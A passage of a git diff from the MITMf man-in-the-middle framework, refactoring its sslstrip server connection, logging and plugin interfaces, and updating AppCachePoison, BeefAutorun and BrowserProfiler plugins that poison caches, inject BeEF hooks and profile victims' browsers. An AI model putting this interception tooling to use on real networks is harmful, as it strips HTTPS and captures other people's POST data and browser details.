def handleHostResolvedSuccess(self, address):
diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py
index 4f3cb11..994e106 100644
--- a/core/sslstrip/ServerConnection.py
+++ b/core/sslstrip/ServerConnection.py
@@ -16,14 +16,16 @@
# USA
#
-import logging, re, string, random, zlib, gzip, StringIO, sys
-import plugins
-
-try:
- from user_agents import parse
-except:
- pass
+import logging
+import re
+import string
+import random
+import zlib
+import gzip
+import StringIO
+import sys
+from user_agents import parse
from twisted.web.http import HTTPClient
from URLMonitor import URLMonitor
from core.sergioproxy.ProxyPlugins import ProxyPlugins
@@ -53,6 +55,7 @@ class ServerConnection(HTTPClient):
self.postData = postData
self.headers = headers
self.client = client
+ self.printPostData = True
self.clientInfo = None
self.urlMonitor = URLMonitor.getInstance()
self.hsts = URLMonitor.getInstance().hsts
@@ -78,22 +81,17 @@ class ServerConnection(HTTPClient):
mitmf_logger.info(self.clientInfo + "Sending Request: {}".format(self.headers['host']))
mitmf_logger.debug("[ServerConnection] Full request: {}{}".format(self.headers['host'], self.uri))
- self.plugins.hook()
self.sendCommand(self.command, self.uri)
def sendHeaders(self):
for header, value in self.headers.iteritems():
- mitmf_logger.debug("[ServerConnection] Sending header: ({} => {})".format(header, value))
+ mitmf_logger.debug("[ServerConnection] Sending header: ({}: {})".format(header, value))
self.sendHeader(header, value)
self.endHeaders()
def sendPostData(self):
- if 'clientprfl' in self.uri:
- self.plugins.hook()
- elif 'keylog' in self.uri:
- self.plugins.hook()
- else:
+ if self.printPostData is True: #So we can disable printing POST data coming from plugins
try:
postdata = self.postData.decode('utf8') #Anything that we can't decode to utf-8 isn't worth logging
if len(postdata) > 0:
@@ -101,8 +99,9 @@ class ServerConnection(HTTPClient):
except UnicodeDecodeError and UnicodeEncodeError:
mitmf_logger.debug("[ServerConnection] {} Ignored post data from {}".format(self.client.getClientIP(), self.headers['host']))
pass
-
- self.transport.write(self.postData)
+
+ self.printPostData = True
+ self.transport.write(self.postData)
def connectionMade(self):
mitmf_logger.debug("[ServerConnection] HTTP connection made.")
@@ -118,8 +117,6 @@ class ServerConnection(HTTPClient):
self.client.setResponseCode(int(code), message)
def handleHeader(self, key, value):
- mitmf_logger.debug("[ServerConnection] Receiving header ({}: {})".format(key, value))
-
if (key.lower() == 'location'):
value = self.replaceSecureLinks(value)
if self.app:
@@ -128,11 +125,11 @@ class ServerConnection(HTTPClient):
if (key.lower() == 'content-type'):
if (value.find('image') != -1):
self.isImageRequest = True
- mitmf_logger.debug("[ServerConnection] Response is image content, not scanning...")
+ mitmf_logger.debug("[ServerConnection] Response is image content, not scanning")
if (key.lower() == 'content-encoding'):
if (value.find('gzip') != -1):
- mitmf_logger.debug("[ServerConnection] Response is compressed...")
+ mitmf_logger.debug("[ServerConnection] Response is compressed")
self.isCompressed = True
elif (key.lower()== 'strict-transport-security'):
@@ -147,15 +144,19 @@ class ServerConnection(HTTPClient):
else:
self.client.setHeader(key, value)
+ def handleEndHeaders(self):
+ if (self.isImageRequest and self.contentLength != None):
+ self.client.setHeader("Content-Length", self.contentLength)
+
+ if self.length == 0:
+ self.shutdown()
+
self.plugins.hook()
- def handleEndHeaders(self):
- if (self.isImageRequest and self.contentLength != None):
- self.client.setHeader("Content-Length", self.contentLength)
+ if logging.getLevelName(mitmf_logger.getEffectiveLevel()) == "DEBUG":
+ for header, value in self.client.headers.iteritems():
+ mitmf_logger.debug("[ServerConnection] Receiving header: ({}: {})".format(header, value))
- if self.length == 0:
- self.shutdown()
-
def handleResponsePart(self, data):
if (self.isImageRequest):
self.client.write(data)
@@ -175,15 +176,11 @@ class ServerConnection(HTTPClient):
if (self.isCompressed):
mitmf_logger.debug("[ServerConnection] Decompressing content...")
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
-
- if len(data) < 1500:
- mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data:\n{}".format(len(data), data))
- else:
- mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data".format(len(data)))
data = self.replaceSecureLinks(data)
- res = self.plugins.hook()
- data = res['data']
+ data = self.plugins.hook()['data']
+
+ mitmf_logger.debug("[ServerConnection] Read from server {} bytes of data".format(len(data)))
if (self.contentLength != None):
self.client.setHeader('Content-Length', len(data))
@@ -212,7 +209,7 @@ class ServerConnection(HTTPClient):
for match in iterator:
url = match.group()
- mitmf_logger.debug("[ServerConnection] Found secure reference: " + url)
+ mitmf_logger.debug("[ServerConnection][HSTS] Found secure reference: " + url)
nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
mitmf_logger.debug("[ServerConnection][HSTS] Replacing {} => {}".format(url,nuevaurl))
sustitucion[url] = nuevaurl
diff --git a/core/utils.py b/core/utils.py
index 059cc61..38845f0 100644
--- a/core/utils.py
+++ b/core/utils.py
@@ -30,51 +30,6 @@ from scapy.all import get_if_addr, get_if_hwaddr
mitmf_logger = logging.getLogger('mitmf')
-class ImportDir:
- #---------------------------------------------------------------------------------------------------
- # http://gitlab.com/aurelien-lourot/importdir
- #---------------------------------------------------------------------------------------------------
-
- # File name of a module:
- __module_file_regexp = "(.+)\.py(c?)$"
-
- #---------------------------------------------------------------------------------------------------
- # Interface
- #---------------------------------------------------------------------------------------------------
-
- def do(self, path, env):
- """ Imports all modules residing directly in directory "path" into the provided environment
- (usually the callers environment). A typical call:
- importdir.do("example_dir", globals())
- """
- self.__do(path, env)
-
-
- #---------------------------------------------------------------------------------------------------
- # Implementation
- #---------------------------------------------------------------------------------------------------
-
- def get_module_names_in_dir(self, path):
- """ Returns a set of all module names residing directly in directory "path".
- """
- result = set()
-
- # Looks for all python files in the directory (not recursively) and add their name to result:
- for entry in os.listdir(path):
- if os.path.isfile(os.path.join(path, entry)):
- regexp_result = re.search(self.__module_file_regexp, entry)
- if regexp_result: # is a module file name
- result.add(regexp_result.groups()[0])
-
- return result
-
- def __do(self, path, env):
- """ Implements do().
- """
- sys.path.append(path) # adds provided directory to list we can import from
- for module_name in sorted(self.get_module_names_in_dir(path)): # for each found module...
- env[module_name] = __import__(module_name) # ... import
-
class SystemConfig:
@staticmethod
diff --git a/mitmf.py b/mitmf.py
index df3ed01..6820952 100755
--- a/mitmf.py
+++ b/mitmf.py
@@ -83,7 +83,7 @@ try:
sgroup.add_argument("--{}".format(p.optname), action="store_true",help="Load plugin {}".format(p.name))
if p.has_opts:
- p.add_options(sgroup)
+ p.pluginOptions(sgroup)
arg_dict[p.optname] = vars(sgroup)['_group_actions']
@@ -101,10 +101,10 @@ args = parser.parse_args()
for plugin, options in arg_dict.iteritems():
if vars(args)[plugin] is False:
for option in options:
- if vars(args)[option.dest] is True:
- sys.exit("[-] Called plugin options without invoking --{}".format(plugin))
+ if vars(args)[option.dest]:
+ sys.exit("[-] Called plugin options without invoking the actual plugin (--{})".format(plugin))
-#first check to see if we supplied a valid interface
+#check to see if we supplied a valid interface
myip = SystemConfig.getIP(args.interface)
mymac = SystemConfig.getMAC(args.interface)
@@ -181,7 +181,7 @@ from core.dnschef.DNSchef import DNSChef
DNSChef.getInstance().start()
print "|_ DNSChef v{} online".format(DNSChef.version)
-#start the SMB server
+#Start the SMB server
from core.protocols.smb.SMBserver import SMBserver
print "|_ SMBserver online (Impacket {})\n".format(SMBserver.impacket_ver)
SMBserver().start()
diff --git a/plugins/AppCachePoison.py b/plugins/AppCachePoison.py
index 4b787b9..296522f 100644
--- a/plugins/AppCachePoison.py
+++ b/plugins/AppCachePoison.py
@@ -1,6 +1,6 @@
#!/usr/bin/env python2.7
-# Copyright (c) 2014-2016 Marcello Salvati
+# Copyright (c) 2014-2016 Krzysztof Kotowicz, Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
@@ -18,8 +18,6 @@
# USA
#
-# 99.9999999% of this code was stolen from https://github.com/koto/sslstrip by Krzysztof Kotowicz
-
import logging
import re
import os.path
@@ -33,10 +31,9 @@ from core.sslstrip.URLMonitor import URLMonitor
mitmf_logger = logging.getLogger("mitmf")
class AppCachePlugin(Plugin):
- name = "App Cache Poison"
+ name = "AppCachePoison"
optname = "appoison"
desc = "Performs App Cache Poisoning attacks"
- implements = ["handleResponse"]
version = "0.3"
has_opts = False
@@ -47,7 +44,9 @@ class AppCachePlugin(Plugin):
self.urlMonitor.setAppCachePoisoning()
- def handleResponse(self, request, data):
+ def serverResponse(self, response, request, data):
+
+ #This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future
self.app_config = self.config['AppCachePoison'] # so we reload the config on each request
url = request.client.uri
@@ -60,22 +59,22 @@ class AppCachePlugin(Plugin):
if "enable_only_in_useragents" in self.app_config:
regexp = self.app_config["enable_only_in_useragents"]
if regexp and not re.search(regexp,req_headers["user-agent"]):
- mitmf_logger.info("%s Tampering disabled in this useragent (%s)" % (ip, req_headers["user-agent"]))
- return {'request': request, 'data': data}
+ mitmf_logger.info("{} [{}] Tampering disabled in this useragent ({})".format(ip, self.name, req_headers["user-agent"]))
+ return {'response': response, 'request': request, 'data': data}
urls = self.urlMonitor.getRedirectionSet(url)
- mitmf_logger.debug("%s [AppCachePoison] Got redirection set: %s" % (ip, urls))
+ mitmf_logger.debug("{} [{}] Got redirection set: {}".format(ip,self.name, urls))
(name,s,element,url) = self.getSectionForUrls(urls)
if s is False:
data = self.tryMassPoison(url, data, headers, req_headers, ip)
- return {'request': request, 'data': data}
+ return {'response': response, 'request': request, 'data': data}
- mitmf_logger.info("%s Found URL %s in section %s" % (ip, url, name))
+ mitmf_logger.info("{} [{}] Found URL {} in section {}".format(ip, self.name, url, name))
p = self.getTemplatePrefix(s)
if element == 'tamper':
- mitmf_logger.info("%s Poisoning tamper URL with template %s" % (ip, p))
+ mitmf_logger.info("{} [{}] Poisoning tamper URL with template {}".format(ip, self.name, p))
if os.path.exists(p + '.replace'): # replace whole content
f = open(p + '.replace','r')
data = self.decorate(f.read(), s)
@@ -92,12 +91,12 @@ class AppCachePlugin(Plugin):
data = re.sub(re.compile("",re.IGNORECASE),appendix + "", data)
self.mass_poisoned_browsers.append(browser_id) # mark to avoid mass spoofing for this ip
@@ -202,5 +201,3 @@ class AppCachePlugin(Plugin):
return (name, section, 'raw',url)
return (None, False,'',urls.copy().pop())
-
-
diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py
index e2ade2e..6104046 100644
--- a/plugins/BeefAutorun.py
+++ b/plugins/BeefAutorun.py
@@ -27,15 +27,15 @@ from core.beefapi import BeefAPI
from core.utils import SystemConfig
from plugins.plugin import Plugin
from plugins.Inject import Inject
+from core.sergioproxy.ProxyPlugins import ProxyPlugins
mitmf_logger = logging.getLogger("mitmf")
-class BeefAutorun(Inject, Plugin):
+class BeefAutorun(Plugin):
name = "BeEFAutorun"
optname = "beefauto"
desc = "Injects BeEF hooks & autoruns modules based on Browser and/or OS type"
tree_output = []
- depends = ["Inject"]
version = "0.3"
has_opts = False
diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py
index 1b48b6a..53fc4e1 100644
--- a/plugins/BrowserProfiler.py
+++ b/plugins/BrowserProfiler.py
@@ -22,23 +22,25 @@ import logging
from pprint import pformat
from plugins.plugin import Plugin
from plugins.Inject import Inject
+from core.sergioproxy.ProxyPlugins import ProxyPlugins
mitmf_logger = logging.getLogger("mitmf")
-class BrowserProfiler(Inject, Plugin):
+class BrowserProfiler(Plugin):
name = "Browser Profiler"
optname = "browserprofiler"
desc = "Attempts to enumerate all browser plugins of connected clients"
- implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"]
- depends = ["Inject"]
- version = "0.2"
+ version = "0.3"
has_opts = False
def initialize(self, options):
- Inject.initialize(self, options)
- self.html_payload = self.get_payload()
self.dic_output = {} # so other plugins can access the results
-
+
+ inject = Inject()
+ inject.initialize(options)
+ inject.html_payload = self.get_payload()
+ ProxyPlugins.getInstance().addPlugin(inject)
+
def post2dict(self, post): #converts the ajax post to a dic
dict = {}
for line in post.split('&'):
@@ -46,25 +48,29 @@ class BrowserProfiler(Inject, Plugin):
dict[t[0]] = t[1]
return dict
- def sendPostData(self, request):
+ def clientRequest(self, request):
#Handle the plugin output
if 'clientprfl' in request.uri:
+ request.printPostData = False
+
self.dic_output = self.post2dict(request.postData)
self.dic_output['ip'] = str(request.client.getClientIP()) # add the IP of the client
if self.dic_output['plugin_list'] > 0:
self.dic_output['plugin_list'] = self.dic_output['plugin_list'].split(',')
pretty_output = pformat(self.dic_output)
- mitmf_logger.info("{} >> Browser Profiler data:\n{}".format(request.client.getClientIP(), pretty_output))
+ mitmf_logger.info("{} [{}] Got data:\n{}".format(request.client.getClientIP(), self.name, pretty_output))
def get_payload(self):
payload = """